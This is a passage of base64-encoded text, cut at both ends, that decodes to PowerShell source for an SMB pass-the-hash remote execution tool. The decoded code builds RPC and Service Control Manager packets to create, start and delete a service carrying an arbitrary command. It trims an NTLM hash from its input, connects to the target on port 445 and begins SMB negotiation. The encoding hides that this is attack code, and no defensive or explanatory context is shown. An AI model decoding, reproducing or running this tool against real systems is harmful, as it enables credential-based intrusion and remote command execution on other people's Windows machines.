VbXV0oMHgwNiwweDAxLDB4YjEsMHgxZCwweDAwLDB4MDAsMHgwMCwweDBmKSkNCiAgICB9DQoNCiAgICByZXR1cm4gJHBhY2tldF9SUENCaW5kDQp9DQoNCmZ1bmN0aW9uIEdldC1QYWNrZXRSUENSZXF1ZXN0KCkNCnsNCiAgICBwYXJhbShbQnl0ZVtdXSRwYWNrZXRfZmxhZ3MsW0ludF0kcGFja2V0X3NlcnZpY2VfbGVuZ3RoLFtJbnRdJHBhY2tldF9hdXRoX2xlbmd0aCxbSW50XSRwYWNrZXRfYXV0aF9wYWRkaW5nLFtCeXRlW11dJHBhY2tldF9jYWxsX0lELFtCeXRlW11dJHBhY2tldF9jb250ZXh0X0lELFtCeXRlW11dJHBhY2tldF9vcG51bSxbQnl0ZVtdXSRwYWNrZXRfb2JqZWN0X1VVSUQpDQoNCiAgICBpZigkcGFja2V0X2F1dGhfbGVuZ3RoIC1ndCAwKQ0KICAgIHsNCiAgICAgICAgJHBhY2tldF9mdWxsX2F1dGhfbGVuZ3RoID0gJHBhY2tldF9hdXRoX2xlbmd0aCArICRwYWNrZXRfYXV0aF9wYWRkaW5nICsgOA0KICAgIH0NCg0KICAgIFtCeXRlW11dJHBhY2tldF93cml0ZV9sZW5ndGggPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OkdldEJ5dGVzKCRwYWNrZXRfc2VydmljZV9sZW5ndGggKyAyNCArICRwYWNrZXRfZnVsbF9hdXRoX2xlbmd0aCArICRwYWNrZXRfb2JqZWN0X1VVSUQuTGVuZ3RoKQ0KICAgIFtCeXRlW11dJHBhY2tldF9mcmFnX2xlbmd0aCA9ICRwYWNrZXRfd3JpdGVfbGVuZ3RoWzAsMV0NCiAgICBbQnl0ZVtdXSRwYWNrZXRfYWxsb2NfaGludCA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoJHBhY2tldF9zZXJ2aWNlX2xlbmd0aCkNCiAgICBbQnl0ZVtdXSRwYWNrZXRfYXV0aF9sZW5ndGggPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OkdldEJ5dGVzKCRwYWNrZXRfYXV0aF9sZW5ndGgpDQogICAgJHBhY2tldF9hdXRoX2xlbmd0aCA9ICRwYWNrZXRfYXV0aF9sZW5ndGhbMCwxXQ0KDQogICAgJHBhY2tldF9SUENSZXF1ZXN0ID0gTmV3LU9iamVjdCBTeXN0ZW0uQ29sbGVjdGlvbnMuU3BlY2lhbGl6ZWQuT3JkZXJlZERpY3Rpb25hcnkNCiAgICAkcGFja2V0X1JQQ1JlcXVlc3QuQWRkKCJSUENSZXF1ZXN0X1ZlcnNpb24iLFtCeXRlW11dKDB4MDUpKQ0KICAgICRwYWNrZXRfUlBDUmVxdWVzdC5BZGQoIlJQQ1JlcXVlc3RfVmVyc2lvbk1pbm9yIixbQnl0ZVtdXSgweDAwKSkNCiAgICAkcGFja2V0X1JQQ1JlcXVlc3QuQWRkKCJSUENSZXF1ZXN0X1BhY2tldFR5cGUiLFtCeXRlW11dKDB4MDApKQ0KICAgICRwYWNrZXRfUlBDUmVxdWVzdC5BZGQoIlJQQ1JlcXVlc3RfUGFja2V0RmxhZ3MiLCRwYWNrZXRfZmxhZ3MpDQogICAgJHBhY2tldF9SUENSZXF1ZXN0LkFkZCgiUlBDUmVxdWVzdF9EYXRhUmVwcmVzZW50YXRpb24iLFtCeXRlW11dKDB4MTAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfUlBDUmVxdWVzdC5BZGQoIlJQQ1JlcXVlc3RfRnJhZ0xlbmd0aCIsJHBhY2tldF9mcmFnX2xlbmd0aCkNCiAgICAkcGFja2V0X1JQQ1JlcXVlc3QuQWRkKCJSUENSZXF1ZXN0X0F1dGhMZW5ndGgiLCRwYWNrZXRfYXV0aF9sZW5ndGgpDQogICAgJHBhY2tldF9SUENSZXF1ZXN0LkFkZCgiUlBDUmVxdWVzdF9DYWxsSUQiLCRwYWNrZXRfY2FsbF9JRCkNCiAgICAkcGFja2V0X1JQQ1JlcXVlc3QuQWRkKCJSUENSZXF1ZXN0X0FsbG9jSGludCIsJHBhY2tldF9hbGxvY19oaW50KQ0KICAgICRwYWNrZXRfUlBDUmVxdWVzdC5BZGQoIlJQQ1JlcXVlc3RfQ29udGV4dElEIiwkcGFja2V0X2NvbnRleHRfSUQpDQogICAgJHBhY2tldF9SUENSZXF1ZXN0LkFkZCgiUlBDUmVxdWVzdF9PcG51bSIsJHBhY2tldF9vcG51bSkNCg0KICAgIGlmKCRwYWNrZXRfb2JqZWN0X1VVSUQuTGVuZ3RoKQ0KICAgIHsNCiAgICAgICAgJHBhY2tldF9SUENSZXF1ZXN0LkFkZCgiUlBDUmVxdWVzdF9PYmplY3RVVUlEIiwkcGFja2V0X29iamVjdF9VVUlEKQ0KICAgIH0NCg0KICAgIHJldHVybiAkcGFja2V0X1JQQ1JlcXVlc3QNCn0NCg0KI1NDTQ0KDQpmdW5jdGlvbiBHZXQtUGFja2V0U0NNT3BlblNDTWFuYWdlclcoKQ0Kew0KICAgIHBhcmFtIChbQnl0ZVtdXSRwYWNrZXRfc2VydmljZSxbQnl0ZVtdXSRwYWNrZXRfc2VydmljZV9sZW5ndGgpDQoNCiAgICBbQnl0ZVtdXSRwYWNrZXRfd3JpdGVfbGVuZ3RoID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkcGFja2V0X3NlcnZpY2UuTGVuZ3RoICsgOTIpDQogICAgW0J5dGVbXV0kcGFja2V0X2ZyYWdfbGVuZ3RoID0gJHBhY2tldF93cml0ZV9sZW5ndGhbMCwxXQ0KICAgIFtCeXRlW11dJHBhY2tldF9hbGxvY19oaW50ID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkcGFja2V0X3NlcnZpY2UuTGVuZ3RoICsgNjgpDQogICAgJHBhY2tldF9yZWZlcmVudF9JRDEgPSBbU3RyaW5nXSgxLi4yIHwgRm9yRWFjaC1PYmplY3QgeyJ7MDpYMn0iIC1mIChHZXQtUmFuZG9tIC1NaW5pbXVtIDEgLU1heGltdW0gMjU1KX0pDQogICAgJHBhY2tldF9yZWZlcmVudF9JRDEgPSAkcGFja2V0X3JlZmVyZW50X0lEMS5TcGxpdCgiICIpIHwgRm9yRWFjaC1PYmplY3R7W0NoYXJdW1N5c3RlbS5Db252ZXJ0XTo6VG9JbnQxNigkXywxNil9DQogICAgJHBhY2tldF9yZWZlcmVudF9JRDEgKz0gMHgwMCwweDAwDQogICAgJHBhY2tldF9yZWZlcmVudF9JRDIgPSBbU3RyaW5nXSgxLi4yIHwgRm9yRWFjaC1PYmplY3QgeyJ7MDpYMn0iIC1mIChHZXQtUmFuZG9tIC1NaW5pbXVtIDEgLU1heGltdW0gMjU1KX0pDQogICAgJHBhY2tldF9yZWZlcmVudF9JRDIgPSAkcGFja2V0X3JlZmVyZW50X0lEMi5TcGxpdCgiICIpIHwgRm9yRWFjaC1PYmplY3R7W0NoYXJdW1N5c3RlbS5Db252ZXJ0XTo6VG9JbnQxNigkXywxNil9DQogICAgJHBhY2tldF9yZWZlcmVudF9JRDIgKz0gMHgwMCwweDAwDQoNCiAgICAkcGFja2V0X1NDTU9wZW5TQ01hbmFnZXJXID0gTmV3LU9iamVjdCBTeXN0ZW0uQ29sbGVjdGlvbnMuU3BlY2lhbGl6ZWQuT3JkZXJlZERpY3Rpb25hcnkNCiAgICAkcGFja2V0X1NDTU9wZW5TQ01hbmFnZXJXLkFkZCgiU0NNT3BlblNDTWFuYWdlcldfTWFjaGluZU5hbWVfUmVmZXJlbnRJRCIsJHBhY2tldF9yZWZlcmVudF9JRDEpDQogICAgJHBhY2tldF9TQ01PcGVuU0NNYW5hZ2VyVy5BZGQoIlNDTU9wZW5TQ01hbmFnZXJXX01hY2hpbmVOYW1lX01heENvdW50IiwkcGFja2V0X3NlcnZpY2VfbGVuZ3RoKQ0KICAgICRwYWNrZXRfU0NNT3BlblNDTWFuYWdlclcuQWRkKCJTQ01PcGVuU0NNYW5hZ2VyV19NYWNoaW5lTmFtZV9PZmZzZXQiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfU0NNT3BlblNDTWFuYWdlclcuQWRkKCJTQ01PcGVuU0NNYW5hZ2VyV19NYWNoaW5lTmFtZV9BY3R1YWxDb3VudCIsJHBhY2tldF9zZXJ2aWNlX2xlbmd0aCkNCiAgICAkcGFja2V0X1NDTU9wZW5TQ01hbmFnZXJXLkFkZCgiU0NNT3BlblNDTWFuYWdlcldfTWFjaGluZU5hbWUiLCRwYWNrZXRfc2VydmljZSkNCiAgICAkcGFja2V0X1NDTU9wZW5TQ01hbmFnZXJXLkFkZCgiU0NNT3BlblNDTWFuYWdlcldfRGF0YWJhc2VfUmVmZXJlbnRJRCIsJHBhY2tldF9yZWZlcmVudF9JRDIpDQogICAgJHBhY2tldF9TQ01PcGVuU0NNYW5hZ2VyVy5BZGQoIlNDTU9wZW5TQ01hbmFnZXJXX0RhdGFiYXNlX05hbWVNYXhDb3VudCIsW0J5dGVbXV0oMHgwZiwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TQ01PcGVuU0NNYW5hZ2VyVy5BZGQoIlNDTU9wZW5TQ01hbmFnZXJXX0RhdGFiYXNlX05hbWVPZmZzZXQiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfU0NNT3BlblNDTWFuYWdlclcuQWRkKCJTQ01PcGVuU0NNYW5hZ2VyV19EYXRhYmFzZV9OYW1lQWN0dWFsQ291bnQiLFtCeXRlW11dKDB4MGYsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfU0NNT3BlblNDTWFuYWdlclcuQWRkKCJTQ01PcGVuU0NNYW5hZ2VyV19EYXRhYmFzZSIsW0J5dGVbXV0oMHg1MywweDAwLDB4NjUsMHgwMCwweDcyLDB4MDAsMHg3NiwweDAwLDB4NjksMHgwMCwweDYzLDB4MDAsMHg2NSwweDAwLDB4NzMsMHgwMCwweDQxLDB4MDAsMHg2MywweDAwLDB4NzQsMHgwMCwweDY5LDB4MDAsMHg3NiwweDAwLDB4NjUsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfU0NNT3BlblNDTWFuYWdlclcuQWRkKCJTQ01PcGVuU0NNYW5hZ2VyV19Vbmtub3duIixbQnl0ZVtdXSgweGJmLDB4YmYpKQ0KICAgICRwYWNrZXRfU0NNT3BlblNDTWFuYWdlclcuQWRkKCJTQ01PcGVuU0NNYW5hZ2VyV19BY2Nlc3NNYXNrIixbQnl0ZVtdXSgweDNmLDB4MDAsMHgwMCwweDAwKSkNCiAgICANCiAgICByZXR1cm4gJHBhY2tldF9TQ01PcGVuU0NNYW5hZ2VyVw0KfQ0KDQpmdW5jdGlvbiBHZXQtUGFja2V0U0NNQ3JlYXRlU2VydmljZVcoKQ0Kew0KICAgIHBhcmFtKFtCeXRlW11dJHBhY2tldF9jb250ZXh0X2hhbmRsZSxbQnl0ZVtdXSRwYWNrZXRfc2VydmljZSxbQnl0ZVtdXSRwYWNrZXRfc2VydmljZV9sZW5ndGgsDQogICAgICAgICAgICBbQnl0ZVtdXSRwYWNrZXRfY29tbWFuZCxbQnl0ZVtdXSRwYWNrZXRfY29tbWFuZF9sZW5ndGgpDQogICAgICAgICAgICAgICAgDQogICAgJHBhY2tldF9yZWZlcmVudF9JRCA9IFtTdHJpbmddKDEuLjIgfCBGb3JFYWNoLU9iamVjdCB7InswOlgyfSIgLWYgKEdldC1SYW5kb20gLU1pbmltdW0gMSAtTWF4aW11bSAyNTUpfSkNCiAgICAkcGFja2V0X3JlZmVyZW50X0lEID0gJHBhY2tldF9yZWZlcmVudF9JRC5TcGxpdCgiICIpIHwgRm9yRWFjaC1PYmplY3R7W0NoYXJdW1N5c3RlbS5Db252ZXJ0XTo6VG9JbnQxNigkXywxNil9DQogICAgJHBhY2tldF9yZWZlcmVudF9JRCArPSAweDAwLDB4MDANCg0KICAgICRwYWNrZXRfU0NNQ3JlYXRlU2VydmljZVcgPSBOZXctT2JqZWN0IFN5c3RlbS5Db2xsZWN0aW9ucy5TcGVjaWFsaXplZC5PcmRlcmVkRGljdGlvbmFyeQ0KICAgICRwYWNrZXRfU0NNQ3JlYXRlU2VydmljZVcuQWRkKCJTQ01DcmVhdGVTZXJ2aWNlV19Db250ZXh0SGFuZGxlIiwkcGFja2V0X2NvbnRleHRfaGFuZGxlKQ0KICAgICRwYWNrZXRfU0NNQ3JlYXRlU2VydmljZVcuQWRkKCJTQ01DcmVhdGVTZXJ2aWNlV19TZXJ2aWNlTmFtZV9NYXhDb3VudCIsJHBhY2tldF9zZXJ2aWNlX2xlbmd0aCkNCiAgICAkcGFja2V0X1NDTUNyZWF0ZVNlcnZpY2VXLkFkZCgiU0NNQ3JlYXRlU2VydmljZVdfU2VydmljZU5hbWVfT2Zmc2V0IixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X1NDTUNyZWF0ZVNlcnZpY2VXLkFkZCgiU0NNQ3JlYXRlU2VydmljZVdfU2VydmljZU5hbWVfQWN0dWFsQ291bnQiLCRwYWNrZXRfc2VydmljZV9sZW5ndGgpDQogICAgJHBhY2tldF9TQ01DcmVhdGVTZXJ2aWNlVy5BZGQoIlNDTUNyZWF0ZVNlcnZpY2VXX1NlcnZpY2VOYW1lIiwkcGFja2V0X3NlcnZpY2UpDQogICAgJHBhY2tldF9TQ01DcmVhdGVTZXJ2aWNlVy5BZGQoIlNDTUNyZWF0ZVNlcnZpY2VXX0Rpc3BsYXlOYW1lX1JlZmVyZW50SUQiLCRwYWNrZXRfcmVmZXJlbnRfSUQpDQogICAgJHBhY2tldF9TQ01DcmVhdGVTZXJ2aWNlVy5BZGQoIlNDTUNyZWF0ZVNlcnZpY2VXX0Rpc3BsYXlOYW1lX01heENvdW50IiwkcGFja2V0X3NlcnZpY2VfbGVuZ3RoKQ0KICAgICRwYWNrZXRfU0NNQ3JlYXRlU2VydmljZVcuQWRkKCJTQ01DcmVhdGVTZXJ2aWNlV19EaXNwbGF5TmFtZV9PZmZzZXQiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfU0NNQ3JlYXRlU2VydmljZVcuQWRkKCJTQ01DcmVhdGVTZXJ2aWNlV19EaXNwbGF5TmFtZV9BY3R1YWxDb3VudCIsJHBhY2tldF9zZXJ2aWNlX2xlbmd0aCkNCiAgICAkcGFja2V0X1NDTUNyZWF0ZVNlcnZpY2VXLkFkZCgiU0NNQ3JlYXRlU2VydmljZVdfRGlzcGxheU5hbWUiLCRwYWNrZXRfc2VydmljZSkNCiAgICAkcGFja2V0X1NDTUNyZWF0ZVNlcnZpY2VXLkFkZCgiU0NNQ3JlYXRlU2VydmljZVdfQWNjZXNzTWFzayIsW0J5dGVbXV0oMHhmZiwweDAxLDB4MGYsMHgwMCkpDQogICAgJHBhY2tldF9TQ01DcmVhdGVTZXJ2aWNlVy5BZGQoIlNDTUNyZWF0ZVNlcnZpY2VXX1NlcnZpY2VUeXBlIixbQnl0ZVtdXSgweDEwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X1NDTUNyZWF0ZVNlcnZpY2VXLkFkZCgiU0NNQ3JlYXRlU2VydmljZVdfU2VydmljZVN0YXJ0VHlwZSIsW0J5dGVbXV0oMHgwMiwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TQ01DcmVhdGVTZXJ2aWNlVy5BZGQoIlNDTUNyZWF0ZVNlcnZpY2VXX1NlcnZpY2VFcnJvckNvbnRyb2wiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfU0NNQ3JlYXRlU2VydmljZVcuQWRkKCJTQ01DcmVhdGVTZXJ2aWNlV19CaW5hcnlQYXRoTmFtZV9NYXhDb3VudCIsJHBhY2tldF9jb21tYW5kX2xlbmd0aCkNCiAgICAkcGFja2V0X1NDTUNyZWF0ZVNlcnZpY2VXLkFkZCgiU0NNQ3JlYXRlU2VydmljZVdfQmluYXJ5UGF0aE5hbWVfT2Zmc2V0IixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X1NDTUNyZWF0ZVNlcnZpY2VXLkFkZCgiU0NNQ3JlYXRlU2VydmljZVdfQmluYXJ5UGF0aE5hbWVfQWN0dWFsQ291bnQiLCRwYWNrZXRfY29tbWFuZF9sZW5ndGgpDQogICAgJHBhY2tldF9TQ01DcmVhdGVTZXJ2aWNlVy5BZGQoIlNDTUNyZWF0ZVNlcnZpY2VXX0JpbmFyeVBhdGhOYW1lIiwkcGFja2V0X2NvbW1hbmQpDQogICAgJHBhY2tldF9TQ01DcmVhdGVTZXJ2aWNlVy5BZGQoIlNDTUNyZWF0ZVNlcnZpY2VXX05VTExQb2ludGVyIixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X1NDTUNyZWF0ZVNlcnZpY2VXLkFkZCgiU0NNQ3JlYXRlU2VydmljZVdfVGFnSUQiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfU0NNQ3JlYXRlU2VydmljZVcuQWRkKCJTQ01DcmVhdGVTZXJ2aWNlV19OVUxMUG9pbnRlcjIiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfU0NNQ3JlYXRlU2VydmljZVcuQWRkKCJTQ01DcmVhdGVTZXJ2aWNlV19EZXBlbmRTaXplIixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X1NDTUNyZWF0ZVNlcnZpY2VXLkFkZCgiU0NNQ3JlYXRlU2VydmljZVdfTlVMTFBvaW50ZXIzIixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X1NDTUNyZWF0ZVNlcnZpY2VXLkFkZCgiU0NNQ3JlYXRlU2VydmljZVdfTlVMTFBvaW50ZXI0IixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X1NDTUNyZWF0ZVNlcnZpY2VXLkFkZCgiU0NNQ3JlYXRlU2VydmljZVdfUGFzc3dvcmRTaXplIixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMCwweDAwKSkNCg0KICAgIHJldHVybiAkcGFja2V0X1NDTUNyZWF0ZVNlcnZpY2VXDQp9DQoNCmZ1bmN0aW9uIEdldC1QYWNrZXRTQ01TdGFydFNlcnZpY2VXKCkNCnsNCiAgICBwYXJhbShbQnl0ZVtdXSRwYWNrZXRfY29udGV4dF9oYW5kbGUpDQoNCiAgICAkcGFja2V0X1NDTVN0YXJ0U2VydmljZVcgPSBOZXctT2JqZWN0IFN5c3RlbS5Db2xsZWN0aW9ucy5TcGVjaWFsaXplZC5PcmRlcmVkRGljdGlvbmFyeQ0KICAgICRwYWNrZXRfU0NNU3RhcnRTZXJ2aWNlVy5BZGQoIlNDTVN0YXJ0U2VydmljZVdfQ29udGV4dEhhbmRsZSIsJHBhY2tldF9jb250ZXh0X2hhbmRsZSkNCiAgICAkcGFja2V0X1NDTVN0YXJ0U2VydmljZVcuQWRkKCJTQ01TdGFydFNlcnZpY2VXX1Vua25vd24iLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCkpDQoNCiAgICByZXR1cm4gJHBhY2tldF9TQ01TdGFydFNlcnZpY2VXDQp9DQoNCmZ1bmN0aW9uIEdldC1QYWNrZXRTQ01EZWxldGVTZXJ2aWNlVygpDQp7DQogICAgcGFyYW0oW0J5dGVbXV0kcGFja2V0X2NvbnRleHRfaGFuZGxlKQ0KDQogICAgJHBhY2tldF9TQ01EZWxldGVTZXJ2aWNlVyA9IE5ldy1PYmplY3QgU3lzdGVtLkNvbGxlY3Rpb25zLlNwZWNpYWxpemVkLk9yZGVyZWREaWN0aW9uYXJ5DQogICAgJHBhY2tldF9TQ01EZWxldGVTZXJ2aWNlVy5BZGQoIlNDTURlbGV0ZVNlcnZpY2VXX0NvbnRleHRIYW5kbGUiLCRwYWNrZXRfY29udGV4dF9oYW5kbGUpDQoNCiAgICByZXR1cm4gJHBhY2tldF9TQ01EZWxldGVTZXJ2aWNlVw0KfQ0KDQpmdW5jdGlvbiBHZXQtUGFja2V0U0NNQ2xvc2VTZXJ2aWNlSGFuZGxlKCkNCnsNCiAgICBwYXJhbShbQnl0ZVtdXSRwYWNrZXRfY29udGV4dF9oYW5kbGUpDQoNCiAgICAkcGFja2V0X1NDTV9DbG9zZVNlcnZpY2VXID0gTmV3LU9iamVjdCBTeXN0ZW0uQ29sbGVjdGlvbnMuU3BlY2lhbGl6ZWQuT3JkZXJlZERpY3Rpb25hcnkNCiAgICAkcGFja2V0X1NDTV9DbG9zZVNlcnZpY2VXLkFkZCgiU0NNQ2xvc2VTZXJ2aWNlV19Db250ZXh0SGFuZGxlIiwkcGFja2V0X2NvbnRleHRfaGFuZGxlKQ0KDQogICAgcmV0dXJuICRwYWNrZXRfU0NNX0Nsb3NlU2VydmljZVcNCn0NCg0KZnVuY3Rpb24gRGF0YUxlbmd0aDINCnsNCiAgICBwYXJhbSAoW0ludF0kbGVuZ3RoX3N0YXJ0LFtCeXRlW11dJHN0cmluZ19leHRyYWN0X2RhdGEpDQoNCiAgICAkc3RyaW5nX2xlbmd0aCA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6VG9VSW50MTYoJHN0cmluZ19leHRyYWN0X2RhdGFbJGxlbmd0aF9zdGFydC4uKCRsZW5ndGhfc3RhcnQgKyAxKV0sMCkNCg0KICAgIHJldHVybiAkc3RyaW5nX2xlbmd0aA0KfQ0KDQppZigkaGFzaCAtbGlrZSAiKjoqIikNCnsNCiAgICAkaGFzaCA9ICRoYXNoLlN1YlN0cmluZygoJGhhc2guSW5kZXhPZigiOiIpICsgMSksMzIpDQp9DQoNCmlmKCREb21haW4pDQp7DQogICAgJG91dHB1dF91c2VybmFtZSA9ICREb21haW4gKyAiXCIgKyAkVXNlcm5hbWUNCn0NCmVsc2UNCnsNCiAgICAkb3V0cHV0X3VzZXJuYW1lID0gJFVzZXJuYW1lDQp9DQoNCiRwcm9jZXNzX0lEID0gW1N5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzXTo6R2V0Q3VycmVudFByb2Nlc3MoKSB8IFNlbGVjdC1PYmplY3QgLWV4cGFuZCBpZA0KJHByb2Nlc3NfSUQgPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OlRvU3RyaW5nKFtTeXN0ZW0uQml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoJHByb2Nlc3NfSUQpKQ0KJHByb2Nlc3NfSUQgPSAkcHJvY2Vzc19JRCAtcmVwbGFjZSAiLTAwLTAwIiwiIg0KW0J5dGVbXV0kcHJvY2Vzc19JRF9ieXRlcyA9ICRwcm9jZXNzX0lELlNwbGl0KCItIikgfCBGb3JFYWNoLU9iamVjdHtbQ2hhcl1bU3lzdGVtLkNvbnZlcnRdOjpUb0ludDE2KCRfLDE2KX0NCiRTTUJfY2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LlNvY2tldHMuVENQQ2xpZW50DQokU01CX2NsaWVudC5DbGllbnQuUmVjZWl2ZVRpbWVvdXQgPSA2MDAwMA0KDQp0cnkNCnsNCiAgICAkU01CX2NsaWVudC5Db25uZWN0KCRUYXJnZXQsIjQ0NSIpDQp9DQpjYXRjaA0Kew0KICAgIFdyaXRlLU91dHB1dCAiJFRhcmdldCBkaWQgbm90IHJlc3BvbmQiDQp9DQoNCmlmKCRTTUJfY2xpZW50LkNvbm5lY3RlZCkNCnsNCiAgICAkU01CX2NsaWVudF9zdHJlYW0gPSAkU01CX2NsaWVudC5HZXRTdHJlYW0oKQ0KICAgICRTTUJfY2xpZW50X3JlY2VpdmUgPSBOZXctT2JqZWN0IFN5c3RlbS5CeXRlW10gMTAyNA0KICAgICRTTUJfY2xpZW50X3N0YWdlID0gJ05lZ290aWF0ZVNNQicNCg0KICAgIHdoaWxlKCRTTUJfY2xpZW50X3N0YWdlIC1uZSAnZXhpdCcpDQogICAgew0KICAgICAgICANCiAgICAgICAgc3dpdGNoICgkU01CX2NsaWVudF9zdGFnZSkNCiAgICAgICAgew0KDQogICAgICAgICAgICAnTmVnb3RpYXRlU01CJw0KICAgICAgICAgICAgeyAgICAgICAgICANCiAgICAgICAgICAgICAgICAkcGFja2V0X1NNQl9oZWFkZXIgPSBHZXQtUGFja2V0U01CSGVhZGVyIDB4NzIgMHgxOCAweDAxLDB4NDggMHhmZiwweGZmICRwcm9jZXNzX0lEX2J5dGVzIDB4MDAsMHgwMCAgICAgICANCiAgICAgICAgICAgICAgICAkcGFja2V0X1NNQl9kYXRhID0gR2V0LVBhY2tldFNNQk5lZ290aWF0ZVByb3RvY29sUmVxdWVzdCAkU01CX3ZlcnNpb24NCiAgICAgICAgICAgICAgICAkU01CX2hlYWRlciA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CX2hlYWRlcg0KICAgICAgICAgICAgICAgICRTTUJfZGF0YSA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CX2RhdGENCiAgICAgICAgICAgICAgICAkcGFja2V0X05ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlID0gR2V0LVBhY2tldE5ldEJJT1NTZXNzaW9uU2VydmljZSAkU01CX2hlYWRlci5MZW5ndGggJFNNQl9kYXRhLkxlbmd0aA0KICAgICAgICAgICAgICAgICROZXRCSU9TX3Nlc3Npb25fc2VydmljZSA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfTmV0QklPU19zZXNzaW9uX3NlcnZpY2UNCiAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zZW5kID0gJE5ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlICsgJFNNQl9oZWFkZXIgKyAkU01CX2RhdGENCiAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdHJlYW0uV3JpdGUoJFNNQl9jbGllbnRfc2VuZCwwLCRTTUJfY2xpZW50X3NlbmQuTGVuZ3RoKSA+ICRudWxsDQogICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RyZWFtLkZsdXNoKCkgICAgDQogICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RyZWFtLlJlYWQoJFNNQl9jbGllbnRfcmVjZWl2ZSwwLCRTTUJfY2xpZW50X3JlY2VpdmUuTGVuZ3RoKSA+ICRudWxsDQoNCiAgICAgICAgICAgICAgICBpZihbU3lzdGVtLkJpdENvbnZlcnRlcl06OlRvU3RyaW5nKCRTTUJfY2xpZW50X3JlY2VpdmVbNC4uN10pIC1lcSAnZmYtNTMtNGQtNDInKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgJFNNQl92ZXJzaW9uID0gJ1NNQjEnDQogICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0YWdlID0gJ05UTE1TU1BOZWdvdGlhdGUnDQoNCiAgICAgICAgICAgICAgICAgICAgaWYoW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpUb1N0cmluZygkU01CX2NsaWVudF9yZWNlaXZlWzM5XSkgLWVxICcwZicpDQogICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIFdyaXRlLVZlcmJvc2UgIlNNQiBzaWduaW5nIGlzIGVuYWJsZWQiDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX3NpZ25pbmcgPSAkdHJ1ZQ0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9zZXNzaW9uX2tleV9sZW5ndGggPSAweDAwLDB4MDANCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfbmVnb3RpYXRlX2ZsYWdzID0gMHgxNSwweDgyLDB4MDgsMHhhMA0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9zaWduaW5nID0gJGZhbHNlDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX3Nlc3Npb25fa2V5X2xlbmd0aCA9IDB4MDAsMHgwMA0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9uZWdvdGlhdGVfZmxhZ3MgPSAweDA1LDB4ODIsMHgwOCwweGEwDQogICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBlbHNlDQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdGFnZSA9ICdOZWdvdGlhdGVTTUIyJw0KDQogICAgICAgICAgICAgICAgICAgIGlmKFtTeXN0ZW0uQml0Q29udmVydGVyXTo6VG9TdHJpbmcoJFNNQl9jbGllbnRfcmVjZWl2ZVs3MF0pIC1lcSAnMDMnKQ0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICBXcml0ZS1WZXJib3NlICJTTUIgc2lnbmluZyBpcyBlb